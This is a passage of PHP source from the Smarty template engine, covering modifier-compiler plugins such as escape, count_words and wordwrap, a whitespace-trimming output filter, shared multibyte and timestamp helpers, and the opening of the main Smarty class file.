function smarty_modifiercompiler_count_paragraphs($params)
{
    // count \r or \n characters
    return '(preg_match_all(\'#[\r\n]+#\', ' . $params[ 0 ] . ', $tmp)+1)';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty count_sentences modifier plugin
 * Type:     modifier
 * Name:     count_sentences
 * Purpose:  count the number of sentences in a text
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.count.paragraphs.php
 *          count_sentences (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_count_sentences($params)
{
    // find periods, question marks, exclamation marks with a word before but not after.
    return 'preg_match_all("#\w[\.\?\!](\W|$)#S' . Smarty::$_UTF8_MODIFIER . '", ' . $params[ 0 ] . ', $tmp)';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty count_words modifier plugin
 * Type:     modifier
 * Name:     count_words
 * Purpose:  count the number of words in a text
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.count.words.php count_words (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_count_words($params)
{
    if (Smarty::$_MBSTRING) {
        // return 'preg_match_all(\'#[\w\pL]+#' . Smarty::$_UTF8_MODIFIER . '\', ' . $params[0] . ', $tmp)';
        // expression taken from http://de.php.net/manual/en/function.str-word-count.php#85592
        return 'preg_match_all(\'/\p{L}[\p{L}\p{Mn}\p{Pd}\\\'\x{2019}]*/' . Smarty::$_UTF8_MODIFIER . '\', ' .
               $params[ 0 ] . ', $tmp)';
    }
    // no MBString fallback
    return 'str_word_count((string) ' . $params[ 0 ] . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty default modifier plugin
 * Type:     modifier
 * Name:     default
 * Purpose:  designate default value for empty variables
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.default.php default (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_default($params)
{
    $output = $params[ 0 ];
    if (!isset($params[ 1 ])) {
        $params[ 1 ] = "''";
    }
    array_shift($params);
    foreach ($params as $param) {
        $output = '(($tmp = ' . $output . ' ?? null)===null||$tmp===\'\' ? ' . $param . ' ?? null : $tmp)';
    }
    return $output;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty escape modifier plugin
 * Type:     modifier
 * Name:     escape
 * Purpose:  escape string for output
 *
 * @link   https://www.smarty.net/docsv2/en/language.modifier.escape count_characters (Smarty online manual)
 * @author Rodney Rehm
 *
 * @param array                                $params parameters
 * @param Smarty_Internal_TemplateCompilerBase $compiler
 *
 * @return string with compiled code
 * @throws SmartyException
 */
function smarty_modifiercompiler_escape($params, Smarty_Internal_TemplateCompilerBase $compiler)
{
    $compiler->template->_checkPlugins(
        array(
            array(
                'function' => 'smarty_literal_compiler_param',
                'file'     => SMARTY_PLUGINS_DIR . 'shared.literal_compiler_param.php'
            )
        )
    );
    try {
        $esc_type = smarty_literal_compiler_param($params, 1, 'html');
        $char_set = smarty_literal_compiler_param($params, 2, Smarty::$_CHARSET);
        $double_encode = smarty_literal_compiler_param($params, 3, true);
        if (!$char_set) {
            $char_set = Smarty::$_CHARSET;
        }
        switch ($esc_type) {
            case 'html':
                return 'htmlspecialchars((string)' . $params[ 0 ] . ', ENT_QUOTES, ' . var_export($char_set, true) . ', ' .
                    var_export($double_encode, true) . ')';
            // no break
            case 'htmlall':
                if (Smarty::$_MBSTRING) {
                    return 'htmlentities(mb_convert_encoding((string)' . $params[ 0 ] . ', \'UTF-8\', ' .
                        var_export($char_set, true) . '), ENT_QUOTES, \'UTF-8\', ' .
                        var_export($double_encode, true) . ')';
                }
                // no MBString fallback
                return 'htmlentities((string)' . $params[ 0 ] . ', ENT_QUOTES, ' . var_export($char_set, true) . ', ' .
                    var_export($double_encode, true) . ')';
            // no break
            case 'url':
                return 'rawurlencode((string)' . $params[ 0 ] . ')';
            case 'urlpathinfo':
                return 'str_replace("%2F", "/", rawurlencode((string)' . $params[ 0 ] . '))';
            case 'quotes':
                // escape unescaped single quotes
                return 'preg_replace("%(?<!\\\\\\\\)\'%", "\\\'", (string)' . $params[ 0 ] . ')';
            case 'javascript':
                // escape quotes and backslashes, newlines, etc.
                // see https://html.spec.whatwg.org/multipage/scripting.html#restrictions-for-contents-of-script-elements
                return 'strtr((string)' .
                       $params[ 0 ] .
                       ', array("\\\\" => "\\\\\\\\", "\'" => "\\\\\'", "\"" => "\\\\\"", "\\r" => "\\\\r", 
                       "\\n" => "\\\n", "</" => "<\/", "<!--" => "<\!--", "<s" => "<\s", "<S" => "<\S",
                       "`" => "\\\\`", "\${" => "\\\\\\$\\{"))';
        }
    } catch (SmartyException $e) {
        // pass through to regular plugin fallback
    }
    // could not optimize |escape call, so fallback to regular plugin
    if ($compiler->template->caching && ($compiler->tag_nocache | $compiler->nocache)) {
        $compiler->required_plugins[ 'nocache' ][ 'escape' ][ 'modifier' ][ 'file' ] =
            SMARTY_PLUGINS_DIR . 'modifier.escape.php';
        $compiler->required_plugins[ 'nocache' ][ 'escape' ][ 'modifier' ][ 'function' ] =
            'smarty_modifier_escape';
    } else {
        $compiler->required_plugins[ 'compiled' ][ 'escape' ][ 'modifier' ][ 'file' ] =
            SMARTY_PLUGINS_DIR . 'modifier.escape.php';
        $compiler->required_plugins[ 'compiled' ][ 'escape' ][ 'modifier' ][ 'function' ] =
            'smarty_modifier_escape';
    }
    return 'smarty_modifier_escape(' . join(', ', $params) . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty from_charset modifier plugin
 * Type:     modifier
 * Name:     from_charset
 * Purpose:  convert character encoding from $charset to internal encoding
 *
 * @author Rodney Rehm
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_from_charset($params)
{
    if (!Smarty::$_MBSTRING) {
        // FIXME: (rodneyrehm) shouldn't this throw an error?
        return $params[ 0 ];
    }
    if (!isset($params[ 1 ])) {
        $params[ 1 ] = '"ISO-8859-1"';
    }
    return 'mb_convert_encoding(' . $params[ 0 ] . ', "' . addslashes(Smarty::$_CHARSET) . '", ' . $params[ 1 ] . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty indent modifier plugin
 * Type:     modifier
 * Name:     indent
 * Purpose:  indent lines of text
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.indent.php indent (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_indent($params)
{
    if (!isset($params[ 1 ])) {
        $params[ 1 ] = 4;
    }
    if (!isset($params[ 2 ])) {
        $params[ 2 ] = "' '";
    }
    return 'preg_replace(\'!^!m\',str_repeat(' . $params[ 2 ] . ',' . $params[ 1 ] . '),' . $params[ 0 ] . ')';
}
<?php

/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
function smarty_modifiercompiler_json_encode($params) {
	return 'json_encode(' . $params[0] . (isset($params[1]) ? ', (int) ' . $params[1] : '') . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty lower modifier plugin
 * Type:     modifier
 * Name:     lower
 * Purpose:  convert string to lowercase
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.lower.php lower (Smarty online manual)
 * @author Monte Ohrt <monte at ohrt dot com>
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_lower($params)
{
    if (Smarty::$_MBSTRING) {
        return 'mb_strtolower((string) ' . $params[ 0 ] . ', \'' . addslashes(Smarty::$_CHARSET) . '\')';
    }
    // no MBString fallback
    return 'strtolower((string) ' . $params[ 0 ] . ')';
}
<?php

/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty nl2br modifier plugin
 * Type:     modifier
 * Name:     nl2br
 * Purpose:  insert HTML line breaks before all newlines in a string
 *
 * @link   https://www.smarty.net/docs/en/language.modifier.nl2br.tpl nl2br (Smarty online manual)
  *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_nl2br($params) {
    return 'nl2br((string) ' . $params[0] . ', (bool) ' . ($params[1] ?? true) . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty noprint modifier plugin
 * Type:     modifier
 * Name:     noprint
 * Purpose:  return an empty string
 *
 * @author Uwe Tews
 * @return string with compiled code
 */
function smarty_modifiercompiler_noprint()
{
    return "''";
}
<?php

/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty round modifier plugin
 * Type:     modifier
 * Name:     round
 * Purpose:  Returns the rounded value of num to specified precision (number of digits after the decimal point)
 *
 * @link   https://www.smarty.net/docs/en/language.modifier.round.tpl round (Smarty online manual)
  *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_round($params) {
    return 'round((float) ' . $params[0] . ', (int) ' . ($params[1] ?? 0) . ', (int) ' . ($params[2] ?? PHP_ROUND_HALF_UP) . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty string_format modifier plugin
 * Type:     modifier
 * Name:     string_format
 * Purpose:  format strings via sprintf
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.string.format.php string_format (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_string_format($params)
{
    return 'sprintf(' . $params[ 1 ] . ',' . $params[ 0 ] . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty strip modifier plugin
 * Type:     modifier
 * Name:     strip
 * Purpose:  Replace all repeated spaces, newlines, tabs
 *              with a single space or supplied replacement string.
 * Example:  {$var|strip} {$var|strip:"&nbsp;"}
 * Date:     September 25th, 2002
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.strip.php strip (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_strip($params)
{
    if (!isset($params[ 1 ])) {
        $params[ 1 ] = "' '";
    }
    return "preg_replace('!\s+!" . Smarty::$_UTF8_MODIFIER . "', {$params[1]},{$params[0]})";
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty strip_tags modifier plugin
 * Type:     modifier
 * Name:     strip_tags
 * Purpose:  strip html tags from text
 *
 * @link   https://www.smarty.net/docs/en/language.modifier.strip.tags.tpl strip_tags (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_strip_tags($params)
{
    if (!isset($params[ 1 ]) || $params[ 1 ] === true || trim($params[ 1 ], '"') === 'true') {
        return "preg_replace('!<[^>]*?>!', ' ', (string) {$params[0]})";
    } else {
        return 'strip_tags((string) ' . $params[ 0 ] . ')';
    }
}
<?php

/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty strlen modifier plugin
 * Type:     modifier
 * Name:     strlen
 * Purpose:  return the length of the given string
 *
 * @link   https://www.smarty.net/docs/en/language.modifier.strlen.tpl strlen (Smarty online manual)
  *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_strlen($params) {
    return 'strlen((string) ' . $params[0] . ')';
}
<?php

/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty str_repeat modifier plugin
 * Type:     modifier
 * Name:     str_repeat
 * Purpose:  returns string repeated times times
 *
 * @link   https://www.smarty.net/docs/en/language.modifier.str_repeat.tpl str_repeat (Smarty online manual)
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_str_repeat($params) {
    return 'str_repeat((string) ' . $params[0] . ', (int) ' . $params[1] . ')';
}
<?php

/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
function smarty_modifiercompiler_substr($params) {
	return 'substr((string) ' . $params[0] . ', (int) ' . $params[1] .
		(isset($params[2]) ? ', (int) ' . $params[2] : '') . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty to_charset modifier plugin
 * Type:     modifier
 * Name:     to_charset
 * Purpose:  convert character encoding from internal encoding to $charset
 *
 * @author Rodney Rehm
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_to_charset($params)
{
    if (!Smarty::$_MBSTRING) {
        // FIXME: (rodneyrehm) shouldn't this throw an error?
        return $params[ 0 ];
    }
    if (!isset($params[ 1 ])) {
        $params[ 1 ] = '"ISO-8859-1"';
    }
    return 'mb_convert_encoding(' . $params[ 0 ] . ', ' . $params[ 1 ] . ', "' . addslashes(Smarty::$_CHARSET) . '")';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty unescape modifier plugin
 * Type:     modifier
 * Name:     unescape
 * Purpose:  unescape html entities
 *
 * @author Rodney Rehm
 *
 * @param array $params parameters
 * @param Smarty_Internal_TemplateCompilerBase $compiler
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_unescape($params, Smarty_Internal_TemplateCompilerBase $compiler)
{
    $compiler->template->_checkPlugins(
        array(
            array(
                'function' => 'smarty_literal_compiler_param',
                'file'     => SMARTY_PLUGINS_DIR . 'shared.literal_compiler_param.php'
            )
        )
    );

    $esc_type = smarty_literal_compiler_param($params, 1, 'html');

    if (!isset($params[ 2 ])) {
        $params[ 2 ] = '\'' . addslashes(Smarty::$_CHARSET) . '\'';
    }

    switch ($esc_type) {
        case 'entity':
        case 'htmlall':
            if (Smarty::$_MBSTRING) {
                return 'html_entity_decode(mb_convert_encoding(' . $params[ 0 ] . ', ' . $params[ 2 ] . ', \'UTF-8\'), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, ' . $params[ 2 ] . ')';
            }
            return 'html_entity_decode(' . $params[ 0 ] . ', ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, ' . $params[ 2 ] . ')';
        case 'html':
            return 'htmlspecialchars_decode(' . $params[ 0 ] . ', ENT_QUOTES)';
        case 'url':
            return 'rawurldecode(' . $params[ 0 ] . ')';
        default:
            return $params[ 0 ];
    }
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty upper modifier plugin
 * Type:     modifier
 * Name:     lower
 * Purpose:  convert string to uppercase
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.upper.php lower (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array $params parameters
 *
 * @return string with compiled code
 */
function smarty_modifiercompiler_upper($params)
{
    if (Smarty::$_MBSTRING) {
        return 'mb_strtoupper((string) ' . $params[ 0 ] . ' ?? \'\', \'' . addslashes(Smarty::$_CHARSET) . '\')';
    }
    // no MBString fallback
    return 'strtoupper((string) ' . $params[ 0 ] . ' ?? \'\')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifierCompiler
 */
/**
 * Smarty wordwrap modifier plugin
 * Type:     modifier
 * Name:     wordwrap
 * Purpose:  wrap a string of text at a given length
 *
 * @link   https://www.smarty.net/manual/en/language.modifier.wordwrap.php wordwrap (Smarty online manual)
 * @author Uwe Tews
 *
 * @param array                                 $params parameters
 * @param \Smarty_Internal_TemplateCompilerBase $compiler
 *
 * @return string with compiled code
 * @throws \SmartyException
 */
function smarty_modifiercompiler_wordwrap($params, Smarty_Internal_TemplateCompilerBase $compiler)
{
    if (!isset($params[ 1 ])) {
        $params[ 1 ] = 80;
    }
    if (!isset($params[ 2 ])) {
        $params[ 2 ] = '"\n"';
    }
    if (!isset($params[ 3 ])) {
        $params[ 3 ] = 'false';
    }
    $function = 'wordwrap';
    if (Smarty::$_MBSTRING) {
        $function = $compiler->getPlugin('mb_wordwrap', 'modifier');
    }
    return $function . '(' . $params[ 0 ] . ',' . $params[ 1 ] . ',' . $params[ 2 ] . ',' . $params[ 3 ] . ')';
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFilter
 */
/**
 * Smarty trimwhitespace outputfilter plugin
 * Trim unnecessary whitespace from HTML markup.
 *
 * @author Rodney Rehm
 *
 * @param string $source input string
 *
 * @return string filtered output
 * @todo   substr_replace() is not overloaded by mbstring.func_overload - so this function might fail!
 */
function smarty_outputfilter_trimwhitespace($source)
{
    $store = array();
    $_store = 0;
    $_offset = 0;
    // Unify Line-Breaks to \n
    $source = preg_replace('/\015\012|\015|\012/', "\n", $source);
    // capture Internet Explorer and KnockoutJS Conditional Comments
    if (preg_match_all(
        '#<!--((\[[^\]]+\]>.*?<!\[[^\]]+\])|(\s*/?ko\s+.+))-->#is',
        $source,
        $matches,
        PREG_OFFSET_CAPTURE | PREG_SET_ORDER
    )
    ) {
        foreach ($matches as $match) {
            $store[] = $match[ 0 ][ 0 ];
            $_length = strlen($match[ 0 ][ 0 ]);
            $replace = '@!@SMARTY:' . $_store . ':SMARTY@!@';
            $source = substr_replace($source, $replace, $match[ 0 ][ 1 ] - $_offset, $_length);
            $_offset += $_length - strlen($replace);
            $_store++;
        }
    }
    // Strip all HTML-Comments
    // yes, even the ones in <script> - see https://stackoverflow.com/a/808850/515124
    $source = preg_replace('#<!--.*?-->#ms', '', $source);
    // capture html elements not to be messed with
    $_offset = 0;
    if (preg_match_all(
        '#(<script[^>]*>.*?</script[^>]*>)|(<textarea[^>]*>.*?</textarea[^>]*>)|(<pre[^>]*>.*?</pre[^>]*>)#is',
        $source,
        $matches,
        PREG_OFFSET_CAPTURE | PREG_SET_ORDER
    )
    ) {
        foreach ($matches as $match) {
            $store[] = $match[ 0 ][ 0 ];
            $_length = strlen($match[ 0 ][ 0 ]);
            $replace = '@!@SMARTY:' . $_store . ':SMARTY@!@';
            $source = substr_replace($source, $replace, $match[ 0 ][ 1 ] - $_offset, $_length);
            $_offset += $_length - strlen($replace);
            $_store++;
        }
    }
    $expressions = array(// replace multiple spaces between tags by a single space
                         // can't remove them entirely, because that might break poorly implemented CSS display:inline-block elements
                         '#(:SMARTY@!@|>)\s+(?=@!@SMARTY:|<)#s'                                    => '\1 \2',
                         // remove spaces between attributes (but not in attribute values!)
                         '#(([a-z0-9]\s*=\s*("[^"]*?")|(\'[^\']*?\'))|<[a-z0-9_]+)\s+([a-z/>])#is' => '\1 \5',
                         // note: for some very weird reason trim() seems to remove spaces inside attributes.
                         // maybe a \0 byte or something is interfering?
                         '#^\s+<#Ss'                                                               => '<',
                         '#>\s+$#Ss'                                                               => '>',
    );
    $source = preg_replace(array_keys($expressions), array_values($expressions), $source);
    // note: for some very weird reason trim() seems to remove spaces inside attributes.
    // maybe a \0 byte or something is interfering?
    // $source = trim( $source );
    $_offset = 0;
    if (preg_match_all('#@!@SMARTY:([0-9]+):SMARTY@!@#is', $source, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER)) {
        foreach ($matches as $match) {
            $_length = strlen($match[ 0 ][ 0 ]);
            $replace = $store[ $match[ 1 ][ 0 ] ];
            $source = substr_replace($source, $replace, $match[ 0 ][ 1 ] + $_offset, $_length);
            $_offset += strlen($replace) - $_length;
            $_store++;
        }
    }
    return $source;
}
<?php
/**
 * Smarty shared plugin
 *
 * @package    Smarty
 * @subpackage PluginsShared
 */
/**
 * escape_special_chars common function
 * Function: smarty_function_escape_special_chars
 * Purpose:  used by other smarty functions to escape
 *           special chars except for already escaped ones
 *
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param string $string text that should by escaped
 *
 * @return string
 */
function smarty_function_escape_special_chars($string)
{
    if (!is_array($string)) {
        $string = htmlspecialchars((string) $string, ENT_COMPAT, Smarty::$_CHARSET, false);
    }
    return $string;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsShared
 */
/**
 * evaluate compiler parameter
 *
 * @param array   $params  parameter array as given to the compiler function
 * @param integer $index   array index of the parameter to convert
 * @param mixed   $default value to be returned if the parameter is not present
 *
 * @return mixed evaluated value of parameter or $default
 * @throws SmartyException if parameter is not a literal (but an expression, variable, …)
 * @author Rodney Rehm
 */
function smarty_literal_compiler_param($params, $index, $default = null)
{
    // not set, go default
    if (!isset($params[ $index ])) {
        return $default;
    }
    // test if param is a literal
    if (!preg_match('/^([\'"]?)[a-zA-Z0-9-]+(\\1)$/', $params[ $index ])) {
        throw new SmartyException(
            '$param[' . $index .
            '] is not a literal and is thus not evaluatable at compile time'
        );
    }
    $t = null;
    eval("\$t = " . $params[ $index ] . ";");
    return $t;
}
<?php
/**
 * Smarty shared plugin
 *
 * @package    Smarty
 * @subpackage PluginsShared
 */
/**
 * Function: smarty_make_timestamp
 * Purpose:  used by other smarty functions to make a timestamp from a string.
 *
 * @author Monte Ohrt <monte at ohrt dot com>
 *
 * @param DateTime|int|string $string date object, timestamp or string that can be converted using strtotime()
 *
 * @return int
 */
function smarty_make_timestamp($string)
{
    if (empty($string)) {
        // use "now":
        return time();
    } elseif ($string instanceof DateTime
              || (interface_exists('DateTimeInterface', false) && $string instanceof DateTimeInterface)
    ) {
        return (int)$string->format('U'); // PHP 5.2 BC
    } elseif (strlen($string) === 14 && ctype_digit($string)) {
        // it is mysql timestamp format of YYYYMMDDHHMMSS?
        return mktime(
            substr($string, 8, 2),
            substr($string, 10, 2),
            substr($string, 12, 2),
            substr($string, 4, 2),
            substr($string, 6, 2),
            substr($string, 0, 4)
        );
    } elseif (is_numeric($string)) {
        // it is a numeric string, we handle it as timestamp
        return (int)$string;
    } else {
        // strtotime should handle it
        $time = strtotime($string);
        if ($time === -1 || $time === false) {
            // strtotime() was not able to parse $string, use "now":
            return time();
        }
        return $time;
    }
}
<?php
/**
 * Smarty shared plugin
 *
 * @package    Smarty
 * @subpackage PluginsShared
 */
if (!function_exists('smarty_mb_str_replace')) {
    /**
     * Multibyte string replace
     *
     * @param string|string[] $search  the string to be searched
     * @param string|string[] $replace the replacement string
     * @param string          $subject the source string
     * @param int             &$count  number of matches found
     *
     * @return string replaced string
     * @author Rodney Rehm
     */
    function smarty_mb_str_replace($search, $replace, $subject, &$count = 0)
    {
        if (!is_array($search) && is_array($replace)) {
            return false;
        }
        if (is_array($subject)) {
            // call mb_replace for each single string in $subject
            foreach ($subject as &$string) {
                $string = smarty_mb_str_replace($search, $replace, $string, $c);
                $count += $c;
            }
        } elseif (is_array($search)) {
            if (!is_array($replace)) {
                foreach ($search as &$string) {
                    $subject = smarty_mb_str_replace($string, $replace, $subject, $c);
                    $count += $c;
                }
            } else {
                $n = max(count($search), count($replace));
                while ($n--) {
                    $subject = smarty_mb_str_replace(current($search), current($replace), $subject, $c);
                    $count += $c;
                    next($search);
                    next($replace);
                }
            }
        } else {
            $mb_reg_charset = mb_regex_encoding();
            // Check if mbstring regex is using UTF-8
            $reg_is_unicode = !strcasecmp($mb_reg_charset, "UTF-8");
            if(!$reg_is_unicode) {
                // ...and set to UTF-8 if not
                mb_regex_encoding("UTF-8");
            }

            // See if charset used by Smarty is matching one used by regex...
            $current_charset = mb_regex_encoding();
            $convert_result = (bool)strcasecmp(Smarty::$_CHARSET, $current_charset);
            if($convert_result) {
                // ...convert to it if not.
                $subject = mb_convert_encoding($subject, $current_charset, Smarty::$_CHARSET);
                $search = mb_convert_encoding($search, $current_charset, Smarty::$_CHARSET);
                $replace = mb_convert_encoding($replace, $current_charset, Smarty::$_CHARSET);
            }

            $parts = mb_split(preg_quote($search), $subject ?? "") ?: array();
            // If original regex encoding was not unicode...
            if(!$reg_is_unicode) {
                // ...restore original regex encoding to avoid breaking the system.
                mb_regex_encoding($mb_reg_charset);
            }
            if($parts === false) {
                // This exception is thrown if call to mb_split failed.
                // Usually it happens, when $search or $replace are not valid for given mb_regex_encoding().
                // There may be other cases for it to fail, please file an issue if you find a reproducible one.
                throw new SmartyException("Source string is not a valid $current_charset sequence (probably)");
            }

            $count = count($parts) - 1;
            $subject = implode($replace, $parts);
            // Convert results back to charset used by Smarty, if needed.
            if($convert_result) {
                $subject = mb_convert_encoding($subject, Smarty::$_CHARSET, $current_charset);
            }
        }
        return $subject;
    }
}
<?php
/**
 * Smarty shared plugin
 *
 * @package    Smarty
 * @subpackage PluginsShared
 */
/**
 * convert characters to their decimal unicode equivalents
 *
 * @link   http://www.ibm.com/developerworks/library/os-php-unicode/index.html#listing3 for inspiration
 *
 * @param string $string   characters to calculate unicode of
 * @param string $encoding encoding of $string, if null mb_internal_encoding() is used
 *
 * @return array sequence of unicodes
 * @author Rodney Rehm
 */
function smarty_mb_to_unicode($string, $encoding = null)
{
    if ($encoding) {
        $expanded = mb_convert_encoding($string, 'UTF-32BE', $encoding);
    } else {
        $expanded = mb_convert_encoding($string, 'UTF-32BE');
    }
    return unpack('N*', $expanded);
}

/**
 * convert unicodes to the character of given encoding
 *
 * @link   http://www.ibm.com/developerworks/library/os-php-unicode/index.html#listing3 for inspiration
 *
 * @param integer|array $unicode  single unicode or list of unicodes to convert
 * @param string        $encoding encoding of returned string, if null mb_internal_encoding() is used
 *
 * @return string unicode as character sequence in given $encoding
 * @author Rodney Rehm
 */
function smarty_mb_from_unicode($unicode, $encoding = null)
{
    $t = '';
    if (!$encoding) {
        $encoding = mb_internal_encoding();
    }
    foreach ((array)$unicode as $utf32be) {
        $character = pack('N*', $utf32be);
        $t .= mb_convert_encoding($character, $encoding, 'UTF-32BE');
    }
    return $t;
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsFilter
 */
/**
 * Smarty htmlspecialchars variablefilter plugin
 *
 * @param string                    $source input string
 * @param \Smarty_Internal_Template $template
 *
 * @return string filtered output
 */
function smarty_variablefilter_htmlspecialchars($source, Smarty_Internal_Template $template)
{
    return htmlspecialchars((string) $source, ENT_QUOTES, Smarty::$_CHARSET);
}
<?php
/**
 * Project:     Smarty: the PHP compiling template engine
 * File:        Smarty.class.php
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3.0 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 * For questions, help, comments, discussion, etc., please join the
 * Smarty mailing list. Send a blank e-mail to
 * smarty-discussion-subscribe@googlegroups.com
 *
 * @link      https://www.smarty.net/
 * @copyright 2018 New Digital Group, Inc.
 * @copyright 2018 Uwe Tews
 * @author    Monte Ohrt <monte at ohrt dot com>
 * @author    Uwe Tews   <uwe dot tews at gmail dot com>
 * @author    Rodney Rehm
 * @package   Smarty
 */
/**
 * set SMARTY_DIR to absolute path to Smarty library files.
 * Sets SMARTY_DIR only if user application has not already defined it.
 */
if (!defined('SMARTY_DIR')) {
    /**
     *
     */
    define('SMARTY_DIR', __DIR__ . DIRECTORY_SEPARATOR);
}
/**
 * set SMARTY_SYSPLUGINS_DIR to absolute path to Smarty internal plugins.
 * Sets SMARTY_SYSPLUGINS_DIR only if user application has not already defined it.
 */
if (!defined('SMARTY_SYSPLUGINS_DIR')) {
    /**
     *
     */
    define('SMARTY_SYSPLUGINS_DIR', SMARTY_DIR . 'sysplugins' . DIRECTORY_SEPARATOR);
}
if (!defined('SMARTY_PLUGINS_DIR')) {
    /**
     *
     */
    define('SMARTY_PLUGINS_DIR', SMARTY_DIR . 'plugins' . DIRECTORY_SEPARATOR);
}
if (!defined('SMARTY_MBSTRING')) {
    /**
     *
     */
    define('SMARTY_MBSTRING', function_exists('mb_get_info'));
}

/**
 * Load helper functions
 */
if (!defined('SMARTY_HELPER_FUNCTIONS_LOADED')) {
    include __DIR__ . '/functions.php';
}

/**
 * Load Smarty_Autoloader
 */
if (!class_exists('Smarty_Autoloader')) {
    include __DIR__ . '/bootstrap.php';
}

/**
 * Load always needed external class files
 */
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_internal_data.php';
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_internal_extension_handler.php';
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_internal_templatebase.php';
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_internal_template.php';
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_resource.php';
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_variable.php';
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_template_source.php';
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_template_resource_base.php';
require_once SMARTY_SYSPLUGINS_DIR . 'smarty_internal_resource_file.php';

/**
 * This is the main Smarty class
 *
 * @package Smarty
 *
